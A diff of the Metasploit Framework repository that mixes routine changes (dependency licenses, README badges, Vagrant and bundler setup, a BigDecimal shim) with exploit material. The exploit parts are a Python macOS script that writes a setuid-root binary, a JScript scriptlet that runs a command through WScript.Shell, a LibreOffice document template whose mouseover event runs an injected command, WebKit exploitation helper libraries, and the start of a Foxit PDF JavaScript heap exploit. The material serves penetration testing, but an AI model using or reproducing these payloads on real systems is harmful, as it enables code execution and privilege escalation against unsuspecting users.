ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
rubyzip, 2.0.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.17.1, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
sshkey, 2.0.0, MIT
|
||||
thor, 0.20.3, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.9, MIT
|
||||
yard, 0.9.20, MIT
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
[COPYING](COPYING) for more details.
|
||||
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
|
||||
Vendored
-1
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
|
||||
+8
-3
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
@@ -24,9 +26,12 @@ end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
rescue LoadError => e
|
||||
$stderr.puts "[*] Bundler failed to load and returned this error:"
|
||||
$stderr.puts
|
||||
$stderr.puts " '#{e}'"
|
||||
$stderr.puts
|
||||
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
@@ -1,11 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
|
||||
strip cpuinfo.ia32.bin && \
|
||||
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
|
||||
strip cpuinfo.ia64.bin && \
|
||||
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
|
||||
strip cpuinfo.exe
|
||||
|
||||
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
|
||||
|
||||
@@ -1,64 +0,0 @@
|
||||
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
|
||||
|
||||
/*
|
||||
#!/usr/bin/env ruby
|
||||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
#
|
||||
# this sample shows the compilation of a slightly more complex program
|
||||
# it displays in a messagebox the result of CPUID
|
||||
#
|
||||
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static char *featureinfo[32] = {
|
||||
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
|
||||
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
|
||||
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
|
||||
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
|
||||
}, *extendinfo[32] = {
|
||||
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
|
||||
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
|
||||
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
|
||||
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
|
||||
};
|
||||
|
||||
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
|
||||
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned long eax, ebx, ecx, edx;
|
||||
unsigned long i;
|
||||
|
||||
cpuid(0);
|
||||
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
|
||||
|
||||
cpuid(1);
|
||||
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
|
||||
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
|
||||
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
|
||||
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
|
||||
|
||||
fprintf(stdout, "FLAGS:");
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (edx & (1 << i))
|
||||
fprintf(stdout, " %s", featureinfo[i]);
|
||||
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (ecx & (1 << i))
|
||||
fprintf(stdout, " %s", extendinfo[i]);
|
||||
|
||||
fprintf(stdout, "\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -27,7 +27,7 @@ def use_old_api():
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
print("usage: exploit.py source_binary dest_binary_as_root")
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print "will write file", dest_binary
|
||||
print("will write file", dest_binary)
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
@@ -68,6 +68,6 @@ else:
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print "Done!"
|
||||
print("Done!")
|
||||
|
||||
del pool
|
||||
|
||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,16 @@
|
||||
<?xml version='1.0'?>
|
||||
<package>
|
||||
<component id='giffile'>
|
||||
<registration
|
||||
description='Dummy'
|
||||
progid='giffile'
|
||||
version='1.00'
|
||||
remotable='True'>
|
||||
</registration>
|
||||
<script language='JScript'>
|
||||
<![CDATA[
|
||||
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
|
||||
]]>
|
||||
</script>
|
||||
</component>
|
||||
</package>
|
||||
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
|
||||
<office:scripts>
|
||||
<office:script script:language="ooo:Basic">
|
||||
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<ooo:library-embedded ooo:name="Standard"/>
|
||||
</ooo:libraries>
|
||||
</office:script>
|
||||
</office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
@@ -0,0 +1,194 @@
|
||||
//
|
||||
// Tiny module that provides big (64bit) integers.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
// Requires utils.js
|
||||
//
|
||||
|
||||
// Datatype to represent 64-bit integers.
|
||||
//
|
||||
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||
function Int64(v) {
|
||||
// The underlying byte array.
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
switch (typeof v) {
|
||||
case 'number':
|
||||
v = '0x' + Math.floor(v).toString(16);
|
||||
case 'string':
|
||||
if (v.startsWith('0x'))
|
||||
v = v.substr(2);
|
||||
if (v.length % 2 == 1)
|
||||
v = '0' + v;
|
||||
|
||||
var bigEndian = unhexlify(v, 8);
|
||||
bytes.set(Array.from(bigEndian).reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (v instanceof Int64) {
|
||||
bytes.set(v.bytes());
|
||||
} else {
|
||||
if (v.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(v);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
default:
|
||||
throw TypeError("Int64 constructor requires an argument.");
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function() {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Integer can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function() {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||
throw new RangeError("Integer can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
this.assignSub(this, 0x1000000000000);
|
||||
var res = Struct.unpack(Struct.float64, bytes);
|
||||
this.assignAdd(this, 0x1000000000000);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function() {
|
||||
return Array.from(bytes);
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function(i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function() {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
this.lo = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
this.hi = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function() {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
for (var i = 0; i < arguments.length; i++)
|
||||
if (!(arguments[i] instanceof Int64))
|
||||
arguments[i] = new Int64(arguments[i]);
|
||||
return f.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
|
||||
// this = -n (two's complement)
|
||||
this.assignNeg = operation(function neg(n) {
|
||||
for (var i = 0; i < 8; i++)
|
||||
bytes[i] = ~n.byteAt(i);
|
||||
|
||||
return this.assignAdd(this, Int64.One);
|
||||
}, 1);
|
||||
|
||||
// this = a + b
|
||||
this.assignAdd = operation(function add(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a - b
|
||||
this.assignSub = operation(function sub(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function(d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||
|
||||
// Return -n (two's complement)
|
||||
function Neg(n) {
|
||||
return (new Int64()).assignNeg(n);
|
||||
}
|
||||
|
||||
// Return a + b
|
||||
function Add(a, b) {
|
||||
return (new Int64()).assignAdd(a, b);
|
||||
}
|
||||
|
||||
// Return a - b
|
||||
function Sub(a, b) {
|
||||
return (new Int64()).assignSub(a, b);
|
||||
}
|
||||
|
||||
// Return a ^ b
|
||||
function Xor(a, b) {
|
||||
return (new Int64()).assignXor(a, b);
|
||||
}
|
||||
|
||||
// Return a & b
|
||||
function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
|
||||
// That's all the arithmetic we need for exploiting WebKit.. :)
|
||||
Binary file not shown.
@@ -0,0 +1,211 @@
|
||||
//
|
||||
// Utility functions.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
|
||||
// Return the hexadecimal representation of the given byte.
|
||||
function hex(b) {
|
||||
return ('0' + b.toString(16)).substr(-2);
|
||||
}
|
||||
|
||||
// Return the hexadecimal representation of the given byte array.
|
||||
function hexlify(bytes) {
|
||||
var res = [];
|
||||
for (var i = 0; i < bytes.length; i++)
|
||||
res.push(hex(bytes[i]));
|
||||
|
||||
return res.join('');
|
||||
}
|
||||
|
||||
// Return the binary data represented by the given hexdecimal string.
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.length % 2 == 1)
|
||||
throw new TypeError("Invalid hex string");
|
||||
|
||||
var bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (var i = 0; i < hexstr.length; i += 2)
|
||||
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function hexdump(data) {
|
||||
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||
data = Array.from(data);
|
||||
|
||||
var lines = [];
|
||||
for (var i = 0; i < data.length; i += 16) {
|
||||
var chunk = data.slice(i, i+16);
|
||||
var parts = chunk.map(hex);
|
||||
if (parts.length > 8)
|
||||
parts.splice(8, 0, ' ');
|
||||
lines.push(parts.join(' '));
|
||||
}
|
||||
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function b2u32(b)
|
||||
{
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
function off2addr(segs, off)
|
||||
{
|
||||
if(!(off instanceof Int64)) off = new Int64(off);
|
||||
for(var i = 0; i < segs.length; ++i)
|
||||
{
|
||||
var start = segs[i].fileoff;
|
||||
var end = Add(start, segs[i].size);
|
||||
if
|
||||
(
|
||||
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
|
||||
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
|
||||
)
|
||||
{
|
||||
return Add(segs[i].addr, Sub(off, start));
|
||||
}
|
||||
}
|
||||
return new Int64("0x4141414141414141");
|
||||
}
|
||||
|
||||
function fsyms(mem, base, segs, want, syms)
|
||||
{
|
||||
want = Array.from(want); // copy
|
||||
if(syms === undefined)
|
||||
{
|
||||
syms = {};
|
||||
}
|
||||
|
||||
var stab = null;
|
||||
var ncmds = mem.u32(Add(base, 0x10));
|
||||
for(var i = 0, off = 0x20; i < ncmds; ++i)
|
||||
{
|
||||
var cmd = mem.u32(Add(base, off));
|
||||
if(cmd == 0x2) // LC_SYMTAB
|
||||
{
|
||||
var b = mem.read(Add(base, off + 0x8), 0x10);
|
||||
stab =
|
||||
{
|
||||
symoff: b2u32(b.slice(0x0, 0x4)),
|
||||
nsyms: b2u32(b.slice(0x4, 0x8)),
|
||||
stroff: b2u32(b.slice(0x8, 0xc)),
|
||||
strsize: b2u32(b.slice(0xc, 0x10)),
|
||||
};
|
||||
break;
|
||||
}
|
||||
off += mem.u32(Add(base, off + 0x4));
|
||||
}
|
||||
if(stab == null)
|
||||
{
|
||||
fail("stab");
|
||||
}
|
||||
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
|
||||
var fn = function(i)
|
||||
{
|
||||
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
|
||||
};
|
||||
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
|
||||
{
|
||||
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
|
||||
for(var j = 0; j < want.length; ++j)
|
||||
{
|
||||
var s = want[j];
|
||||
if((strcmp(fn, s)))
|
||||
{
|
||||
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
|
||||
want.splice(j, 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return syms;
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function _u32(i)
|
||||
{
|
||||
return b2u32(this.read(i, 4));
|
||||
}
|
||||
|
||||
function _read(i, l)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
if (l instanceof Int64) l = l.lo();
|
||||
if (i + l > this.length)
|
||||
{
|
||||
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
|
||||
}
|
||||
return this.slice(i, i + l);
|
||||
}
|
||||
|
||||
function _readInt64(addr)
|
||||
{
|
||||
return new Int64(this.read(addr, 8));
|
||||
}
|
||||
|
||||
function _writeInt64(i, val)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
this.set(val.bytes(), i);
|
||||
}
|
||||
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
var buffer = new ArrayBuffer(8);
|
||||
var byteView = new Uint8Array(buffer);
|
||||
var uint32View = new Uint32Array(buffer);
|
||||
var float64View = new Float64Array(buffer);
|
||||
|
||||
return {
|
||||
pack: function(type, value) {
|
||||
var view = type; // See below
|
||||
view[0] = value;
|
||||
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||
},
|
||||
|
||||
unpack: function(type, bytes) {
|
||||
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||
throw Error("Invalid bytearray");
|
||||
|
||||
var view = type; // See below
|
||||
byteView.set(bytes);
|
||||
return view[0];
|
||||
},
|
||||
|
||||
// Available types.
|
||||
int8: byteView,
|
||||
int32: uint32View,
|
||||
float64: float64View
|
||||
};
|
||||
})();
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,125 @@
|
||||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
